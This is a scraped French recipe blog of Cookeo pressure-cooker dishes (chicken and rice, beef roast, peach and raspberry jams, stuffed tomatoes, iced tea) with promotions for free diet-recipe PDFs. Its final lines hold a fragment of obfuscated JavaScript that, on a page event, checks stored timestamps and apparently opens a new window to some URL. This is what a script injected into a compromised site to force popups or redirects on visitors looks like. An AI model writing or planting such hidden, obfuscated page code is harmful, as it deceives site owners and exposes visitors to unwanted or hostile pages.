Riz poulet crème fraîche recette cookeo

Riz poulet crème fraîche recette cookeo

Riz poulet crème fraîche recette cookeo

Avec cette recette Cookeo vous devriez faire l’unanimité. En tout cas dans ma famille de 5 personnes grands et plus petits aiment beaucoup cette recette . Elle est même demandée très souvent .

Ingrédients pour 4 personnes

280 g de riz

400 g d’escalopes de poulet ou médaillons ou aiguillettes

1 cube de bouillon de bœuf

2 cuillères à soupe d’huile d ‘olive

2 cuillères à soupe de crème fraîche

1 cuillère à café de moutarde

Sel

Poivre

 400 ml d’eau

Mode dorer

Versez l’huile dans la cuve. Quand l’huile est chaude faites dorer votre poulet pendant 2 à 3 mn.

Ajoutez le riz dans la cuve.

Versez un bouillon composé de 400 ml d’eau et d’un cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de riz divisé par 2

Quand la cuisson est terminée, ouvrez votre Cookeo et ajoutez la crème. Mélangez et servez chaud

Conseils

Vous pouvez ajoutez des épices comme le curry ou le curcuma.

Cette recette peut également se réaliser avec de la dinde
[youtube https://www.youtube.com/watch?v=w7Bm-oeTLh4]
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10 recettes minceur et astuces diététiques ebook gratuit pendant 24 h


10 recettes minceur et astuces diététiques ebook gratuit 

Ce n’est pas encore Noêl mais voilà je vous propose de télécharger gratuitement cet ebook de 10 recettes minceur et astuces diététiques. Cet ebook peut se télécharger seulement pendant 24 heures. Il est en vente actuellement sur Amazon . Alors pendant 24 heures c’est cadeau.  Ces recettes sont inédites et sont chiffrées en calories propoints et smartpoints selon la méthode weight watchers.

Il est aussi offert systématiquement lorsque vous achetez  :

140 RECETTES COOKEO A MOINS DE 300 CALORIES PDF

Pour téléchargez cliquez sur l’image ou ICI 

Bonne journée tout le monde .
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Rôti boeuf champignons recette cookeo

Rôti boeuf champignons recette cookeo

Rôti boeuf champignons recette cookeo

Ingrédients pour 4 personnes

1 rôti de bœuf de 800 g

1 grosse boite de champignons de Paris

1 oignon

2 cuillères à soupe d’huile d’olive

1 cube de bouillon de bœuf

150 ml de vin blanc

50 ml d’eau

Sel

Poivre

Préparation

Epluchez et coupez l’oignon en morceaux.

Egouttez et rincez sous l’eau les champignons de Paris

Mode dorer

Versez l’huile dans la cuve et quand l’huile est chaude faites dorer le rôti sur toutes ses faces puis ajoutez les oignons pour les faire dorer également.

Ajoutez les champignons puis versez un bouillon composé de 150 ml de vin blanc ,50 ml d’eau et d’un cube de bouillon de bœuf.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 16 mn

Quand la cuisson est terminée découpez votre rôti et servez chaud avec des pommes de terre par exemple.
[youtube https://www.youtube.com/watch?v=enm54Com5No]

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Riz lait caramel recette cookeo

Riz lait caramel recette cookeo

Riz lait caramel recette cookeo

Ingrédients

500 ml de lait entier

130 g de riz rond

50 g de sucre roux

1 sachet de sucre vanillé

2 œufs

2 Cuillères à soupe d’arôme vanille ou une gousse de vanille

Nappage caramel

 

Préparation

Rincez le riz sous l’eau

Versez le riz dans la cuve et recouvrez d’eau.

Nappez vos récipients avec du nappage caramel

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de riz divisé par 2 ;

Quand la cuisson est terminée égouttez le riz et réservez-le.

Mode dorer

Versez le lait dans la cuve. Portez à ébullition 

Ajoutez le riz dans la cuve et laissez à ébullition 2 mn.

Arrêtez le Cookeo  .

Ajoutez le sucre, le sucre vanillé et l’arôme vanille et mélangez.

Ajoutez les œufs, mélangez. Versez la préparation dans un saladier, des ramequins ou des pots de yaourts.

Laissez refroidir à l’air libre puis au frigo .
[youtube https://www.youtube.com/watch?v=Zeea1tFSS2Q]
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Confiture pêches de vigne recette cookeo

Confiture pêches de vigne recette cookeo

Confiture pêches de vigne recette cookeo

Ingrédients

800 g de pêches de vigne ou de pêches

600 g de sucre spécial confiture

Le jus d’un citron pressé

Préparation

Epluchez et coupez les pêches en morceaux.

Pressez un citron

Déposez les morceaux de pêches dans la cuve.

Ajoutez le sucre et mélangez.

Ajoutez le jus de citron

Mode dorer

Mélangez de temps en temps jusqu’à ébullition.

Laissez à ébullition pendant 5 mn puis éteignez votre cookeo.

Quand la cuisson est terminée vous pouvez mixez la préparation. Ceci n’est pas une obligation.

Versez la préparation des pots à confiture. Vissez le couvercle et retournez les pots.

Laissez refroidir à l’air libre.

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60 recettes cookeo weight watchers de JP PDF gratuit

60 recettes cookeo weight watchers de JP PDF gratuit

60 recettes cookeo weight watchers de JP PDF gratuit

Voici un PDF qui regroupe toutes les recettes weight watchers que j’ai adaptée ou réalisées au Cookeo.

Ces recettes sont chiffrées en calories mais aussi en propoints et smartpoints selon le dernier programme weight watchers liberté.

Pour télécharger cliquez sur l’image ou sur  le lien ICI.

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Sauce tomates express style weight watchers cookeo

Sauce tomates express style weight watchers cookeo

Sauce tomates express style weight watchers cookeo

50 calories 1 PP 0 SP

Cette recette cookeo est inspirée d’une recette weight watchers. Cette recette a été adaptée .Ce qui change au niveau des ingrédients ce sont des tomates fraîches à la place des tomates pelées .J’ai rajouté 2 cuillères à soupe d’huile d’olive pour faire revenir les tomates.

Ingrédients pour environ 3 pots de confiture de 380 ml

1 kg de tomates fraîches

4 feuilles de basilic

1 cuillère à soupe d’herbes de Provence

Sel

Poivre

1 gousse d’ail

Mode dorer

Versez les 2 cuillères à soupe d’huile d’olive dans la cuve. Quand l’huile est chaude faites revenir l’ail coupé en morceaux.

Ajoutez ensuite le basilic, les herbes de Provence et les tomates. Faites revenir 2 à 3 mn. Les tomates doivent rendre du jus.

 

Cuisson rapide ou sous pression

Programmez 5 mn

Quand la cuisson est terminée mixez la préparation.

Servez la sauce avec des pâtes, du poisson ou de la viande.

Vous pouvez aussi congelez ou stériliser la sauce tomate dans des pots.

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Poulet entier tomates figues courgettes cookeo

Poulet entier tomates figues courgettes cookeo

 

Poulet entier tomates figues courgettes cookeo

Ingrédients pour 4 personnes

1 poulet

600 g de tomates

400 g de courgettes

4 figues

1 oignon

4 cuillères à soupe d’huile d’olive

150 ml d’eau

50 ml de vin blanc

1 cube de bouillon de bœuf

Sel

Poivre

Préparation

Lavez et coupez les courgettes, les tomates, en morceaux.

Coupez l’oignon en morceaux.

Lavez les figues.

Mode dorer

Versez 2 cuillères à soupe d’huile d’olive dans la cuve et faites dorer quand l’huile est chaude les oignons pendant 2 mn.

Ajoutez les figues au bout de 2 mn.

Ajoutez les courgettes net les tomates laissez dorer 2 mn.

Réservez tous les légumes et les oignons.

Reversez 2 cuillères à soupe d’huile d’olive et faites dorer le poulet sur toutes ses faces.

Versez le vin blanc, l’eau et le cube de bouillon de bœuf émietté.

Salez, poivrez

Cuisson rapide ou sous pression

Programmez 15 mn pour 500 mg de poulet. Pour mon poulet 1,5 kg soit 3 X 15 mn = 45 mn

5 mn avant la fin de la cuisson arrêtez votre cookeo et rajoutez les tomates, courgettes, oignons et les figues et reprogrammez 5 mn en cuisson rapide ou sous pression

Quand la cuisson est terminée servez chaud .

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Escalopes porc carottes express recette Cookeo

Escalopes porc carottes express recette Cookeo

Escalopes porc carottes express recette Cookeo

250 CALORIES 5 PP 6 SP

Ingrédients pour 4 personnes

4 escalopes de porc

400 g de carottes

1 oignon

50 ml de vin blanc

150 ml d’eau

1 cube de bouillon de bœuf

2 cuillères à soupe d’huile d’olive

Sel

Poivre

Préparation

Coupez les carottes en rondelles

Coupez les escalopes e porc en morceaux

Coupez l’oignon en morceaux

Lavez et ciselez le persil

Mode dorer

Versez l’huile dans la cuve. Quand l’huile est chaude déposez les oignons et faites dorer 2 mn.

Ajoutez les morceaux de porc et faites dorer 2 mn.

Ajoutez les carottes, le persil, le vin blanc, l’eau et le cube de bouillon de bœuf.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Pour une viande bien tendre 15 mn.

Servez chaud.

[youtube https://www.youtube.com/watch?v=8bAUunOZpyU]
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Dinde aux 2 lègumes recette cookeo

Dinde aux 2 lègumes recette cookeo

Dinde aux 2 lègumes recette cookeo

Voici une recette Cookeo facile et rapide à réaliser. Elle présente peu de calories. Elle peut se consommer avec des pâtes et du riz ou simplement telle quelle.

260 CALORIES 5 PP 2 SP

Ingrédients pour 4 personnes

600 g d’escalopes de dinde

800 g de tomates

1 oignon

600 g de courgettes

1 cube de bouillon de bœuf

50 ml de vin blanc

100 ml d’eau

Sel

Poivre

2 cuillères à soupe d’huile d’olive

Préparation

Coupez les escalopes de dinde en morceaux.

Lavez et coupez les tomates en morceaux.

Lavez et coupez les courgettes en morceaux.

Coupez l’oignon en morceaux

Mode dorer

Versez l’huile dans la cuve. Quand l’huile est chaude déposer les morceaux d’oignons dans la cuve. Faites dorer les morceaux d’oignons pendant 2 minutes.

Ajouter ensuite les morceaux d’escalope de dinde. Faites dorer 2 minutes.

Ajoutez ensuite les courgettes coupées en morceaux, les tomates. Faites dorer 2 minutes.

Salez et poivrez selon convenance.

Versez 50 ml de vin blanc et 50 ml d’eau. Emietter votre cube de bouillon de bœuf dans la cuve.

Cuisson rapide ou sous pression

Programmez 5 mn.

Servez chaud
[youtube https://www.youtube.com/watch?v=Wn7fytkSaOw]
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Frittata champignons oignons recette cookeo

Frittata champignons oignons recette cookeo

Frittata champignons oignons recette cookeo

Ingrédients pour 4 personnes

6 œufs

1 oignon

250 g de champignons de Paris frais ou congelés

3 cuillères à soupe d’huile

Sel

Poivre

Préparation

Cassez et battez les œufs dans un saladier. Salez et poivrez

Coupez l’oignon en morceaux.

Lavez les champignons et coupez-les en morceaux.

Mode dorer

Versez l’huile dans la cuve et quand l’huile est chaude faites revenir les morceaux de champignons de Paris pendant 3 mn.

Ajoutez les oignons et faites revenir 2 mn avec les champignons de Paris

Versez les œufs battus dans la cuve et arrêtez la fonction dorer

Cuisson rapide ou sous pression

Programmez 2 mn. Avant les 2 mn un code d’erreur eau va être signalé (voir la vidéo). Arrêter alors tout de suite votre cookeo et ouvrez le couvercle .

Déposez une assiette dessus la cuve et retourner la cuve pour que l’omelette se retrouve dans l’assiette.

Servez chaud .

N’hésitez pas à suivre la vidéo pour plus de renseignements (la vidéo est une frittata aux pommes de terre).

[youtube https://www.youtube.com/watch?v=uOsYye54wPQ]

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Confiture framboises recette cookeo

Confiture framboises recette cookeoConfiture framboises recette cookeo

Voici une recette de confiture de framboises au cookeo . Une recette très facile à réaliser . Il est à noter que cette recette se réalise uniquement en fonction dorer (on utilise surtout pas la fonction cuisson rapide ou sous pression).

Pour la quantité de sucre je suis parti sur une base de 500 g  de sucre pour 650 g de fruits. Habituellement pour les confitures c’est 1 kg de fruits pour un kilo de sucre .Pour ma part je préconise  une version plus light en sucres.

Cette recette peut se réaliser avec des fruits frais ou congelés.

 

Ingrédients

650 g de framboises

500 g de sucre à confiture

Le jus d’un citron

Préparation

Mode dorer

Nettoyez les framboises et triez les .

Déposez les framboises dans la cuve .

Ajoutez le sucre et le jus d’un citron que vous avez pressé.

Mélangez .

Faites portez à ébullition . Restez en mode dorer pendant 5 mn à partir d’une forte ébullition.

Ecumez si nécessaire . Au bout de 5 mn d’ébullition arrêtez votre cookeo et versez la préparation dans des pots de confiture.

Fermez les pots avec des couvercles puis retournez les pots . Laissez refroidir avant de consommer .

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Tomates farcies blé olives recette cookeo

Tomates farcies blé olives recette cookeo

Tomates farcies blé olives recette cookeo

205 CALORIES 5 PP 4 SP

Ingrédients pour 4 personnes

8 tomates

200 g de blé

20 olives dénoyautées

1 oignon

Sel

Poivre

200 ml d’eau 

1 cuillère à soupe de concentré de tomates

1 cuillère à soupe d’huile d’olive

Préparation

Coupez les olives en rondelles

Coupez des chapeaux aux tomates. Retirez la chair des tomates.

Coupez l’oignon en morceaux.

Hachez les morceaux d’oignon et la chair de tomates.

Mode dorer

Versez l’huile d’olive dans la cuve et faites revenir les oignons et la chair de tomates pendant 2 mn environ.

Ajoutez le blé, les morceaux d’olives, le concentré de tomates.

Salez et poivrez selon votre convenance.

Arrêtez le mode dorer puis garnissez les tomates avec le blé, les oignons et la chair de tomates.

Rincez la cuve. Redéposez-la dans le Cookeo et versez 200 ml d’eau.

Placez les tomates garnies dans le panier vapeur du Cookeo puis placez le panier vapeur dans la cuve du cookeo.

Cuisson rapide ou sous pression programmez 5 mn

Quand la cuisson est terminée servez chaud

Quelques conseils

Chacun pourra ajoutez à souhait des aromates ou des épices . Cette version de tomates farcies au blé et olives se présente sous sa forme basique .

Pour ma part si je n’avais pas d’enfants à la maison je rajouterai du piment d’Espelette mais aussi du persil .Et pourquoi pas du curry .

Et vous vous feriez comment ?

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Thé glacé citron recette cookeo

Thé glacé citron recette cookeo

Thé glacé citron recette cookeo

Voilà dans cet article une recette rafraîchissante. Cette recette est une recette traditionnelle adaptée au cookeo . Vous pouvez rajouter du sucre si vous trouvez la boisson trop acide.

Ingrédients

2 l d’eau

2 sachets de thé vert

1 citron jaune

1 citron vert

70 ml de pulco

3 cuillères à soupe de sucre en poudre

3 cuillères à soupe de sucre de canne

1 cuillère à soupe de miel

Cuisson rapide ou cuisson sous pression

Versez 2 l d’eau dans la cuve avec des rondelles de citron vert et jaune. (Gardez 2 rondelles de citron pour la décoration). Ajoutez le sucre dans la cuve et mélangez.

Arrêtez votre Cookeo et plongez les 2 sachets de thé dans la cuve et laisser infusez.

Ajoutez la cuillère à soupe de miel

 Quand le thé est refroidi, placez le dans un pichet au frigo. Vous pouvez placez le pichet au congélateur pendant 15 mn avant de servir

Servez frais avec des glaçons.

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());